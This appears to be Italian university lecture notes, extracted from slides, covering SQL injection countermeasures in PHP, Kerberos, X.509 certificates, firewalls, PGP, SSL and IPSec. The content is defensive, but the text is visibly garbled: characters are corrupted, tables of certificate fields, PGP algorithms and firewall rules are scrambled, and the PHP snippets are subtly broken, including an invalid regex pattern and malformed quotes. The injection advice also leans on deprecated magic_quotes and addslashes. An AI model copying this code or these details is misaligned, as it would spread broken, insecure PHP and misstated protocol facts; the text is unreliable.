SQL injection: contromisure • Diverse strategie: – controlli sul tipo di dato – creazione di filtri tramite espressioni regolari – eliminazione di caratteri potenzialmente dannosi
– escape di caratteri potenzialmente dannosi
Type casting Operazione che forza una variabile ad essere valutata come appartenente ad un certo tipo • Consideriamo il primo esempio di interrogazione
$id = (int) $_GET[ìd’]; $sql = "SELECT * from articoli WHERE id=$id";
• Eseguito mediante la funzione settype(): settype($_GET[ìd’], ìnt’); $id = $_GET[ìd’];
• Eseguito mediante la funzione intval(): $id = intval($_GET[ìd’]); • Si verifica mediante opportune funzioni che una variabile appartenga ad un dato tipo – is_int() – is_numeric()
– gettype() if (is_numeric($_GET[ìd’])) { //valore numerico }
Espressioni Regolari
Dati in input possono essere descritti da una espressione regolare
• Username utente è una stringa alfanumerica composta da 4 a 12 caratteri • Dati che non rispettano questi vincoli possono essere filtrati tramite preg_match() o ereg()
if (preg_match("\[a-z0-9]{4,12}$\i", $login)) { // $login rispetta il parametro }
else { // errore } • Lùtilizzo eccessivo delle espressioni regolari tende a rallentare l’applicazione
Eliminazione caratteri pericolosi Si eliminano eventuali caratteri pericolosi o si sostituiscono con codici innocui • I caratteri potenzialmente dannosi sono quelli che hanno un significato in interrogazioni SQL – gli apici singoli e doppi – la virgola
– il punto e virgola • Ci sono casi in cui possono servire – Paperon de’ Paperoni
• Ci sono casi in cui devono essere eliminati
– str_replace(), preg_replace(), ereg_replace(), strtr()
• Ad esempio: $input = str_replace("’", " ", $input); – ’ carattere da cercare – " " carattere da sostituire – $input stringa in cui cercare • Approccio difficile da applicare – i caratteri da controllare possono essere svariati – i DBMS si comportano in maniera differente
Escape delle stringhe Effettua il quoting di un singolo carattere • Carattere di escape (\) davanti ad un altro carattere implica che questùltimo deve essere interpretato letteralmente • PHP effettua automaticamente lèscape di alcuni caratteri tramite la direttiva magic_quotes_gpc – per default è attiva – opera sulle variabili $_GET, $_POST e $_COOKIE – funzione get_magic_quotes_gpc() per verificare se è attiva
• Funzione addslashes() aggiunge carattere escape prima di – apici singoli – apici doppi
– altri backspace – caratteri NUL • addslashes() non deve essere usata quando magic_quotes_gpc è attivo –“stringa” trasformata da magic_quotes_gpc in \“stringa\”
– aggiungendo addslashes() si ottiene \\\“stringa\\\” • Controllando lo stato di magic_quotes_gpc possiamo fare qualcosa di meglio
if (!get_magic_quotes_gpc()) { $_GET[’variabile’]= addslashes($_GET[’variabile’]);}
• Meglio utilizzare funzioni specifiche relative al DBMS che si sta utilizzando
Applicazioni per l’autenticazione
Sistemi aperti • Siamo partiti dall’assunzione che l’autenticazione è prerequisito per il controllo dell’accesso • Oggi gli scenari sono più complessi –architetture distribuite
–richieste di transazioni anonime –utenti nuovi (non conosciuti al server) possono presentare richieste di accesso • Necessario disporre di meccanismi di autenticazione sofisticati • Gli utenti devono dimostrare la propria identità per ogni servizio utilizzato
• I server devono garantire la propria identità ai client • Approcci principali – Kerberos
– certificati digitali
Kerberos Servizio di autenticazione sviluppato al MIT nell’ambito del progetto Athena
• Tree obiettivi – autenticazione: verificare l’identità di un client o di un servizio
– autorizzazione: autorizzare un client autenticato ad utilizzare un particolare servizio
– accounting: verificare la quantità di risorse utilizzate da un particolare client
• Due versioni – Versione 4 – Versione 5 **Certificati digitali** • Certificati digitali utili per certificare –identità –accreditamenti (es., appartenenza ad associazioni o gruppi) –la sua chiave **Obiettivi** • Sicurezza: attaccante in ascolto sulla rete non deve essere in grado di acquisire informazioni per impersonare un utente legittimo • Affidabilità: indisponibilità di Kerberos implica l’indisponibilità di tutti i servizi • Trasparenza: processo di autenticazione trasparente allùtente tranne per l’inserimento della password • Scalabilità: Kerberos deve essere in grado di gestire un elevato numero di clienti e di server
Attori • Authentication Server (AS) – fornisce un servizio di autenticazione – conosce le password di tutti gli utenti – condivide una chiave segreta univoca con ciascun server

• Ticket Granting Server (TGS) – fornisce un servizio di controllo dell'accesso – genera un ticket di servizio per gli utenti che sono stati autenticati da AS – ticket di servizio utilizzato per accedere ad un determinato servizio offerto da un server • Client – utenti che vogliono accedere a servizi offerti da server • Server – fornisce i servizi ai client
– si affida a una coppia *AS/TGS* per eseguire una adeguata autenticazione dei client
• Kerberos realm – definito come l'insieme di client e server il cui controllo
amministrativo è affidato ad una singola coppia *AS/TGS*
Kerberos: fasi • Fase 1 (messaggi **1** e **2**) – *C* e *AS* usano la chiave di lunga durata (la password del client) per l'autenticazione – *AS* consegna a *C* una chiave di sessione e un ticket granting ticket (TGT) • Fase 2 (messaggi **3** e **4**) – *TGS* usa la chiave di sessione e il TGT per l'autenticazione – *TGS* rilascia a *C* un ticket di servizio e una ulteriore chiave di sessione • Fase 3 (messaggi **5** e **6**) – *C* e *S* usano la chiave di sessione ed il ticket rilasciati
da *TGS* per l'autenticazione – il messaggip **6** è presente solo se è richiesta la mutua autenticazione
Crittografia in Kerberos • Crittografia simmetrica - DES nella versione 4 – possibilità di impiegare qualsiasi tecnica crittografica nella versione 5
Autenticazione cross-realm • Kerberos supporta autenticazione cross-realm
– permette ai client in un realm l'accesso a server in un altro realm – richiede un pre-agreement tra le coppie *AS/TGS* coinvolte • *AS/TGS* di un realm condivide una chiave segreta con *AS/TGS* dell'altro realm
Differenze tra V4 e V5 • Dipendenza dal sistema di crittografia – DES nella versione 4
– qualsiasi nella versione 5 • Dipendenza dal protocollo IP – indirizzi IP nella versione 4
– qualsiasi tipo di indirizzo di rete nella versione 5 • Ordinamento byte nel messaggio
– ordinamento a scelta nella versione 4 – notazioni ASN.1 e BER nella versione 5
• Durata del ticket – 8 bit con unità di 5 minuti (28 x 5 = 1280 min) nella versione 4
– arbitraria nella versione 5 • Inoltro dell'autenticazione – non permessa nella versione 4
– permessa nella versione 5 • Autenticazione fra realm diversi – N realm richiedono N2 relazioni nella versione 4 – meno relazioni nella versione 5 • Doppia crittografia – ticket nei messaggi 2 e 4 sono crittati due volte: con

la chiave del server di destinazione e poi con la chiave del client • Crittografia PCBC – la versione 4 utilizza una modalità non standard del DES – la versione 5 utilizza la modalità standard CBC • Chiavi di sessione
– chiave di sessione nei ticket per crittare l'autenticatore – un ticket può essere usato più volte per acquisire un servizio da un certo server – un attaccante può riprodurre i messaggi di una vecchia sessione – la versione 5 evita questo problema tramite una chiave di sottosessione • Attacchi alle password – entrambe le versioni sono vulnerabili agli attacchi alle password – il messaggio 2 è crittato con una chiave che deriva dalla
password del client – un attaccante può intercettare questo messaggio e provare a decrittarlo cercando di indovinare la password – la versione 5 rende più complicato questo attacco aggiungendo una fase di preautenticazione
TGS può emettere ticket assegnamento per server TGS remoto **FORWARDABLE**
indica che il ticket è un prox**PROXY** y - **PROXIABLE** ticket assegnamento con diverso indirizzo rete - **INVALID** ticket non valido - **POSTDATED** indica che il ticket è stato postdatato - **MAY-POSTDATED** TGS può rilasciare ticket postdatato - **RENEWABLE** ticket rinnovabile - **HW-AUTHENT** autenticazione basata sul possesso - **PREAUTHENT** AS emette ticket dopo autenticazione client - **INITIAL** ticket emesso da AS
Autenticità chiavi pubbliche • Molti protocolli di sicurezza si basano su tecniche crittografiche asimmetriche • Necessaria una garanzia sulla validità della associazione tra soggetto e chiave pubblica • Problema di scalabilità – ogni nodo in una rete con *n* nodi dovrebbe gestire (*n-1*) chiavi pubbliche • Problema revoca delle chiavi pubbliche
Certification Authority • Associazione chiave pubblica/soggetto garantita da una terza parte fidata • Terza parte fidata nota con il termine Certification Authority (CA)
• CA rilascia un certificato digitale – contiene informazioni dellùtente per cui rilascia il
certificato – contiene la chiave pubblica
Certificato digitale • Lega il nome di un soggetto ad una chiave pubblica • Questo legame viene firmato dalla CA • Si verifica l'autenticità del certificato tramite copia autentica della chiave pubblica della CA
Creazione di un certificato digitale • Utente prova la propria identità alla CA
– procedure non crittografiche • CA verifica l'autenticità della chiave – coppia chiavi pubblica/privata generata dalla CA – coppia chiavi pubblica/privata generata dallùtente
• CA crea un certificato digitale che contiene la chiave pubblica ed i dati identificativi dellùtente • CA firma il certificato digitale con la propria chiave privata
Public Key Infrastructure
Protocolli, politiche e meccanismi necessari per supportare lo scambio di chiavi pubbliche • Necessita di – formato dei certificati – relazioni tra diverse CA e tra CA ed utenti – politiche e meccanismi per lèmissione e revoca dei certificati – servizi di directory
Standard X.509 Standard più diffuso (ITU) per la rappresentazione di certificati
• Definisce il formato dei certificati – insieme di campi • Definisce la codifica – ASN.1
firma del certificat**Signature** o **Extensions** estensioni identificativo opzionale del soggetto del certificato **Subject ID** identificativo opzionale del soggetto che ha
emesso il certificato **Issuer ID Public key** chiave pubblica e algoritmo che la usa
Subject name entità a cui appartiene il certificato **Validity period** periodo di validità
Issuer nome CA **Signature** algoritmo utilizzato per la firma **algorithm** identifica univocamente il certificato insieme al nome CA
Serial number Version versione X.509 **Revoca dei certificati**
• Si devono prevedere meccanismi per poter dichiarare chiavi non più valide
– chiavi pubbliche le cui corrispondenti chiavi private sono compromesse
– chiavi pubbliche le cui chivi private sono state perse – chiavi che non vengono più usate • Due sistemi principali – data di validità – revoca esplicita
Certificate revocation list (CRL) Lista dei certificati revocati • Lista del tipo
– issuer – last update date – next update date – lista di numeri di serie di certificato revocati con data di revoca – firma CA • CRL devono essere controllate prima di
considerare un certificato valido
Organizzazione CA • Singola CA che certifica tutte le chiavi pubbliche non è una soluzione pratica • Approccio gerarchico – root authority firma certificati per authority di livello più basso – authority di basso livello firmano certificati per singole
reti e così via – si formano catene di certificati
CA: esempi • Provider commerciali internazionali – Verisign (www.verisign.com)
• CA riconosciute da CNIPA (Centro Nazionale per l'informatica nella Pubblica Amministrazione) – Infocamere SC.p.A. (dal 06/04/2000) – Postecom S.p.A. (dal 20/04/2000) – Sanpaolo IMI S.p.A. (dal 08/04/2004)
Uso dei certificati per l'autenticazione • Tutti i protocolli di autenticazione basati su crittografia asimmetrica possono utilizzare i certificati • In partica sono usati in molti protocolli di sicurezza in rete tra cui – SSL – IPSec
Firewall: definizione - Sistema di controllo degli accessi che verifica tutto il traffico che transita attraverso lui • Consente o nega il passaggio del traffico basandosi su una politica di sicurezza • Funzioni – verifica pacchetti in transito – maschera indirizzi interni (NAT) – blocca pacchetti non autorizzati e/o pericolosi
Limiti del firewall • Controlla tutto e solo il traffico che lo attraversa – intrusioni interne non sono individuate • Se le connessioni arrivano attraverso un percorso non controllato, il firewall non serve – utente connesso via modem • Non controllano file infetti da virus

Politiche di sicurezza • Applica delle regole ed è utile solo quando le regole vengono configurate in modo appropriato – firewall malconfigurato non serve a nulla • Serve una specifica ad alto livello della politica di sicurezza – default deny: tutto viene bloccato tranne quello che è autorizzato (politica chiusa) – default allow: tutto viene permesso tranne quello che non è autorizzato (politica aperta)
Architettura dei firewall • Software su processori general pur pose – sistema più economico e flessibil • Software su processori GP (Gigahertz processor) • Hardware dedicato (router) – soluzione più costosa e spesso basata su software proprietario
De-militarized zone - Una (o più) sottorete accedibile dall'esterno
• Sono collocati i server che devono essere accessibili dallèsterno e/o dalla rete interna
– server e-mail – server DNS – server Web
Tassonomia dei tipi di firewall • Network layer – packet filtering – stateful packet filtering • Application layer – circuit level – application proxy
Packet filter - Filtra i pacchetti solo sulla base delleinformazioni nell'header
• Header – indirizzo sorgente – indirizzo destinazione – porta sorgente – porta destinazione – tipo di protocollo – opzioni di protocollo • Non si può tracciare la correlazione tra pacchetti in una trasmissione • Non si possono esaminare problemi a livello più alto
Regole di filtraggio • Indirizzi usati per chiudere/aprire il traffico da determinate sorgenti a determinate destinazione • Numeri di porta usati per bloccare/permettere
servizi noti • Bloccare un protocollo • Combinazioni dei precedenti
Regole di filtraggio: esempi • Se un pacchetto arriva sull'interfaccia esterna ed
ha un mittente della rete interna lo si blocca – spoofing • Se un pacchetto arriva dalla rete di un concorrente si può lasciarlo passare – pericoloso
Regole di filtraggio: valutazione • Regole di filtraggio memorizzate in uno specifico
ordine – ogni regola è applicata al pacchetto nellòrdine in cui è memorizzata • Se una regola blocca la trasmissione/ricezione del pacchetto, il pacchetto è rifiutato. • Se una regola permette la trasmissione/ricezione di un pacchetto, il pacchetto è permesso • Se il pacchetto non soddisfa nessuna regola si applica la regola di default – regola di deny
Politica di sicurezza: esempio • Permettere la connessione tra rete = 199.245.180.0 ed il servizio SMTP (tcp/25) di qualsiasi host esterno permiIN ANY rete TCP ≥1024 25 1 t
OUT rete ANY TCP 25 ≥1024 ANY permit • Non c'è modo di garantire che il ritorno del
pacchetto di conferma (TCP ACK) venga dalla stessa connessione • Viene accettato poiché in una connessione TCP ambo i lati mantengono informazioni sullo stato – conoscono il numero di sequenza dell'aCK che deve arrivare
Packet filter: svantaggi • Nelle connessioni TCP i numeri di porte minori di 1024 sono permanentemente assegnati a server – 20,21 per FTP, 23 per telnet, 25 per SMTP, 80 per http • Client usano porte nel range [1024, 16383] – devono essere disponibili per i client per ricevere le risposte • Pacchetti in input diretti a qualche client con porta superiore a 1024 devono essere permessi – potrebbe essere la risposta di un server ad una connessione stabilita precedentemente – potrebbe essere traffico illecito – non si può sapere con certezza se non si tiene traccia dello stato di ogni connessione • Supponiamo, ad esempio, di accettare il traffico in ingresso solo se relativo ad una richiesta proveniente dall'interno – non sempre è possibile riuscirci con il packet filtering • Se il protocollo di trasporto è di tipo connection oriented (TCP) è possibile realizzare questa politica – è sufficiente non accettare pacchetti SYN provenienti dallèsterno
• Se il protocollo di trasporto è di tipo connectionless (UDP) non è possibile realizzare questa politica
Stateful (dynamic) packet filtering • Simile al packet filter ma "state-aware"
• Distingue le nuove connessioni da quelle già aperte – tabelle di stato per le connessioni aperte – pacchetti che corrispondono ad una riga della tabella sono accettati senza ulteriori controlli • Prestazioni migliori rispetto a packet filter
Gateway a livello applicazione • Applica una politica più servera rispetto ai packet
filter • Viene installato un programma mirato sul gateway per ogni applicazione
– controlla che i dati siano validi anche a livello del protocollo applicativo • Spesso non è del tutto trasparente allùtente e/o alle applicazioni – richiede qualche modifica alle applicazioni, a parte eccezioni r – ichiede servizi proxy specifici per ogni protocollo
applicativo
Proxy per la sicurezza • Presentano agli utenti un sottoinsieme ridotto e sanitizzato dei servizi offerti dal server • Possono essere usati per – difendere gli utenti interni che accedono a server esterni – difendere i server dall'accesso di utenti esterni (reverse
proxy) • Serve un proxy diverso per ogni protocollo • Vengono implementati su server che usano sistemi operativi general pur pose • Le performance non sono ottimali, il flusso
applicativo viene ricostruito due volte
Circuit firewall • Fa un relay delle connessioni TCP • Client si connette a una porta TCP del gateway, che si connette all'indirizzo e alla porta del server • Non c'è ispezione del payload del traffico • Creando per conto del client il circuito virtuale, controlla la connessione • Controlla i pacchetti che possono essere solo – connection request
– pacchetti che appartengono a connessione già attiva
Circuit firewall: funzionamento • Gestisce una tabella di connessioni valide con
– l'indirizzo sorgente della connessione – l'indirizzo destinazione della connessione

– lo stato della connessione: handshake, established o closing – i numeri di sequenza (ACK) – l'interfaccia fisica da cui i pacchetti entrano – l'interfaccia fisica da cui i pacchetti escono • I dati vengono fatti passare se combaciano con una delle entry nella virtual circuit table • Quando una connessione termina, viene rimossa la entry
Circuit firewall: vantaggi e svantaggi • Inizialmente limitati a TCP, possono essere estesi • Spesso richiedono di modificare le applicazioni • Non validano payload e protocolli applicativi • Possono essere molto veloci e performanti • Tipicamente non fanno content inspection
Difese a livello applicativo, TCP, IP Posta elettronica Applicazione di rete più diffusa • Applicazione distribuita usata attraverso qualsiasi architettura e piattaforma
• Cresce quindi la richiesta di servizi di autenticazione e segretezza – Pretty Good Privacy (PGP)
Messaggi e-mail • E-mail è un messaggio composto da stringhe di caratteri ASCII in un formato specificato da RFC 822 (1982) – ultima versione è RFC 2822 (2001) • Due parti separate da una linea bianca – header: mittente, destinatario, data, soggetto, percoso
di consegna,… – body: contiene il messaggio vero e proprio
MIME Specifica un formato standard per incapsulare più dati diversi in un singolo messaggio • Estende RFC 822 per consentire a messaggi email di avere contenuto non testuale • Campi addizionali nell'header per specificare il formato ed il contenuto delle estensioni • Supporta vari tipi di contenuto – le-mail sono ancora codificate in ASCII per compatibilità con RFC 822 • Specificato nello standard IETF RFC 2045-2049
MIME: header • MIME specifica 5 nuovi campi RFC 822 - MIME-Version (deve essere .0) - Content-Type - Content-Transfer-Encoding - Content-ID (opzionale) - Content-Description (opzionale)
Composizione e consegna • MUA = Mail User Agent (mail client), un programma in esecuzione sulla macchina del mittente • Mittente fornisce i campi To: e Subject: insieme
al corpo del messaggio • MUA esegue una trasformazione in un messaggio RFC 822 e si collega all'MTA = Message Transportation Agent (mail server) • MUA instruisce MTA usando il protocollo Simple Mail Transfer Protocol (SMTP), o soluzione proprietaria alternativa, e spedisce il messaggio RFC 822 • MTA mittente usa il DNS (Domain Name Service) per trovare l'indirizzo IP dell'MTA destinatario – usa il campo To: • MTA

mittente apre una connessione con MTA – destinatario – usa SMTP per istruire MTA remoto e trasferisce il messaggio RFC 822 – durante il trasferimento possono essere coinvolti MTA intermedi • MTA destinatario – consegna il messaggio al MUA oppure
– memorizza il messaggio localmente per poi essere ritrovato via LAN successivamente
Minacce alla sicurezza delle e-mail Distinguiamo due tipi di minacce • alla sicurezza dei messaggi di e-mail • ad un sistema realizzate tramite i messaggi email
Minacce alla sicurezza di e-mail • Perdita di confidenzialità – e-mail spedita in chiaro su una rete non – e-mail memorizzata potenzialmente su client e mail server non sicuri
• Perdita di integrità – corpo del messaggio può essere modificato in transito oppure modificato dal mail server • Mancanza di autenticazione – nessuna garanzia sul fatto che la mail provenga da chi è indicato nel campo from:• Mancanza di non-repudiation – il mittente può dichiarare in seguito di non aver inviato una e-mail con un dato contenuto
• Mancanza di ricevuta ricezione – nessuna garanzia sul fatto che il destinatario abbia
ricevuta il messaggio
Minacce alla sicurezza tramite e-mail • Rilascio di informazioni sensibili • Esposizione a codice malizioso – mezzo più utilizzato per la trasmissione di virus • Esposizione ad attacchi di tipi denial of service • Spamming • Relaying e blacklisting – e-mail provenienti da un certo server possono essere bloccate da mail server che usano il meccanismo delle blacklist
Pretty Good Privacy (PGP) • È un software di crittografia per la posta elettronica e la protezione di file di uso personale • Creato da Philip Zimmermann nel 1991 e
distribuito gratuitamente su Internet • Cosa fa? – permette di firmare una e-mail lasciando il testo in chiaro – permette di cifrare una e-mail senza firmarla – permette di fare entrambe le cose
Chiavi crittografiche Basato su crittografia simmetrica e asimmetrica
• Ogni utente dispone di – chiave privata: protetta da passphrase ed è usata per
firmare e decifrare i messaggi – chiave pubblica: disponibile a tutti ed usata per crittare i
messaggi – chiave di sessione: chiave che mittente e destinatario condividono e che varia ad ogni invio
Algoritmi disponibili esegue segmentazione e riassemblamento di messaggi di
dimensione eccessiva - Radix-64 – PGP – segmentazione messaggio cifrato è convertito in stringa ASCII per fornire trasparenza alle applicazioni e-mail Radix-compatibilità e- 64 mail messaggio compresso per la memorizzazione e trasmissione compressione ZIP
creato codice hash del messaggio cifrato con chiave privata mittente RSA, MD5, SHA, DSS firma digitale session key è cifrata con chiave pubblica destinatario scambio DH, RSA session key messaggio cifrato con algoritmo simmetrico tramite session key
CAST, IDEA, 3DES cifratura messaggio
Key Ring Due strutture dati • Private key ring: contiene la coppia chiave pubblica, chiave privata dellùtente – la chiave privata è cifrata con una *passphrase* nota solo
allùtente • Public key ring: contiene le chiavi pubbliche delle persone note allùtente
Campi del private key ring • Timestamp: ora in cui è stata generata o inserita una chiave • Keyid: 64 bit meno significativi della chiave pubblica • Public key: chiave pubblica • Private key: chiave privata cifrata • User id: proprietario della chiave
–normalmente è l'indirizzo di posta elettronica
Campi del public key ring • Timestamp: ora in cui è stata generata o inserita una chiave
• Keyid: 64 bit meno significativi della chiave pubblica • Public key: chiave pubblica
• Owner trust: fiducia nel proprietario della chiave • User id: proprietario della chiave
• Key legitimacy: fiducia nella chiave • Firma: firma per la chiave • Signature trust: fiducia nella firma
Chiavi pubbliche e keyserver • La chiave pubblica si ottiene direttamente dalla
persona interessata o si possono usare i keyserver –server presenti su Internet dedicati al deposito e prelievo delle chiavi pubbliche • Per ricevere o inserire chiavi bisogna inviare una e-mail all'indirizzo del keyserver
Web of Trust PGP si basa su una gestione decentralizzata • Ciascuno si rende r
responsabile certificando una chiave o unàltra • Non bisognerebbe mai certificare una chiave di cui no si è perfettamente sicuri –se fosse fasulla si comprometterebbe il web of trust
Livelli di trust • Quattro livelli di fiducia che si possono assegnare alla chiave pubblica
–Completamente fidato –Parzialmente fidato –Non fidato –Non noto
• Tutte le chiavi firmate con la propria chiave sono valide
Web of trust: esempio Certificato di revoca Avvisa che una chiave pubblica non è più valida • Certificato firmato con la chiave privata corrispondente a quella che si vuole revocare • PGP installerà il certificato nel keyring di chiunque lo riceva impedendo lùso della chiave compromessa **Motivazioni** • TCP/IP permette ad un attaccante di leggere e
modificare i dati che vengono inviati via rete – attacchi passivi e attivi • Necessario adottare soluzioni in grado di fornire – integrità – segretezza – autenticazione • Diversi approcci – SSL
Secure Socket Layer (SSL) Suite protocollare che fornire servizi di sicurezza ad applicazioni che usano canale di comunicazione strema • Utilizza sia crittografia simmetrica sia crittografia asimmetrica • Breve storia – SSLv2: introdotto da Netscape nel 1995 – SSLv3: versione rivista e corretta – TLS (Transport Layer Security): versione di SSLv3 standardizzata dall'iETF con lòbiettivo di usare DSS
SSL: architettura – Applicazioni - Protocollo http - Handshake - Protocollo - Change
- Chipher – Protocollo – Alert - Protocollo Record – TCP - IP

• Protocollo Record – trasporta dati utente o messaggi SSL tra diversi peer – fornisce ai livelli superiori gli stessi servizi di TCP con in più i servizi di sicurezza
• Protocollo Handshake – gestisce i parametri di sicurezza (ciphersuite), autenticazione e derivazione di chiavi effimere • Protocollo Change Cipher – messaggio con un bit impostato a 1 – segnala la fine dell'handshake • Protocollo Alert – gestisce condizioni di errore
SSL: fasi Due fasi • Handshake: crittografia asimmetrica usata per scambiare un segreto di sessione tra client e server • Connessione sicura: utilizzando il segreto scambiato durante l'handshake client e server comunicano in modo sicuro – crittografia simmetrica
Cipher suite Combinazione (non arbitraria) di algoritmi (simmetrici/asimmetrici) crittografici da usare in una sessione • Cipher suite scelta durante la fase di handshake
– client presenta la lista di cipher suite in ordine di preferenza – server seleziona cipher suite (di solito quella più in alto nella lista) che è in grado di supportare
SSL handshake • RA, RB: numeri casuali • CertB: certificato contenente la chiave pubblica di Bob • CertA: certificato contenente la chiave pubblica di Alice
• AuthA: EKprivA[kash(messaggi precedenti)] • PMS: pre-master key, numero casuale scelto da Alice • Kms: chiave di sessione derivata da PMS, RA e RB • hashA, hashB: MAC dei messaggi scambiati tra Alice e Bob
SSL handshake: note • Gestione gerarchica di CA – quando Alice e Bob inviano un certificato possono includere anche la catena di certificati necessari per la validazione
– quando Bob chiede ad Alice di autenticarsi, include anche una lista di CA ammissibili
SSL: note finali • Usato soprattutto per rendere sicure le transazioni http – autenticazione non mutua – client autenticato con meccanismi a livello applicativo • Pacchetti crittati a livello TCP – l'informazione a livello IP sarà in chiaro – visibili il mittente ed il destinatario di un messaggio • Vulnerabile ad attacchi del tipo man-in-themiddle
Caratteristiche di base Rende sicure le comunicazioni a livello IP • Proposta IETF le cui specifiche sono costituite da numerosi documenti – RFC 2041, 2042, 2046, 2048
• Opzionale in IPv4 e obbligatorio in IPv6 • Funzionalità di sicurezza implementate come
intestazioni di estensione che seguono quella principale IP – autenticazione – confidenzialità
Modalità di funzionamento Due modalità • Trasporto: fornisce protezione ai protocolli di livello superiore – TCP, UDP, ICMP – usata generalmente per le comunicazione end-to-end fra due host – lèlaborazione IPSec viene eseguita nei nodi finali del canale di comunicazione • Tunnel: fornisce protezione dell'intero pachetto IP
Modalità tunnel • Datagram e campi di sicurezza addizionali sono trattati come il nuovo payload del pacchetto IP esterno • Datagram IP originale è incapsulato nel datagram
IP esterno • Usata quando le parti che vogliono comunicare sono costituite da gateway di sicurezza (es., firewall) – gli host posti su reti protette possono effettuare comunicazioni sicure senza implementare IPSEC
Protocollo authentication header Fornisce supporto per l'integrità dei dati e di autenticazione dei pacchetti IP • Eventuali modifiche al contenuto dei pacchetti in
transito sono rivelate • Impedisce attacchi IP spoofing • Impedisce attacchi di replay
– il numero di sequenza AH è protetto da attacchi di integrità – i destinatari tengono traccia del numero di sequenza dei pacchetti ricevuti – sono rifiutati pacchetti ripetuti o troppo vecchi • codice MAC (Message Authentication Code) è usato per l'autenticazione
– le due parti devono condividere una chiave segreta • AH specifica una intestazione che si aggiunge ai pacchetti IP
Protocollo ESP Fornisce servizi di segretezza • Segretezza del contenuto del messaggio
• Parziale segretezza del flusso di traffico • Usa crittografia simmetrica e MAC
Algoritmi AH e ESP
ESP • DES, DES triplo, AES, Blowfish ... • Ogni algoritmo necessita del suo RFC
– lùso del DES per ESP è definito in RFC 2405
AH • HMAC-MD5-96, HMAC-SHA-1-96
Numeri di sequenza in IPSec • AH e ESP usano i numeri di sequenza contro l'attacco di replay • Numeri di sequenza sono lunghi 32 bit – inizializzati a zero – incrementato ogni volta che viene inviato un nuovo pacchetto – non può ricominciare ciclicamente dopo 232 -1 e tornare a zero • Protetti via MAC – non vero in ESP • Destinatario usa una finestra per tenere traccia dei pacchetti arrivati • La finestra indica i numeri di sequenza visti dal destinatario • Il numero di sequenza di ogni pacchetto ricevuto viene confrontato con quelli che ricadono nella finestra – se il numero di sequenza si trova a sinistra della finestra o non passa l'autenticazione, viene rifiutato – se il numero di sequenza si trova a destra della finestra, il pacchetto è nuovo e passa l'autenticazione, si sposta il margine destro della finestra – altrimenti se il pacchetto è autenticato, viene contrassegnata la posizione corrispondente nella finestra
Politiche di sicurezza di IPSec • Host che supportano IPSec hanno un Security
Policy Database (SPD) • SPD viene consultato per ogni pacchetto in ingresso ed in uscita
• Campi dei pacchetti IP vengono confrontati con i campi delle politiche in SPD
– indirizzo (range) sorgente e destinazione – protocollo – porte • Ogni corrispondenza identifica una associazione di sicurezza (SA - Security Association)
Security association • SA identifica un insieme di algoritmi, modalità di trasporto e chiavi da usare nellèlaborazione dei pacchetti • SA è una relazione monodirezionale tra un mittente ed un destinatario – specifica lèlaborazione crittografica che deve essere
applicata ai pacchetti trasmessi da mittente a destinatario • Sono memorizzate in una base di dati (SADB)

• SA identificate da – security parameters index (SPI) – indirizzo IP destinazione
– identificatore del protocollo di sicurezza
• SA contiene – sequence number counter – sequence counter overflow – anti-replay window – informazioni AH – informazioni ESP – lifetime – modalità trasporto
– path MTU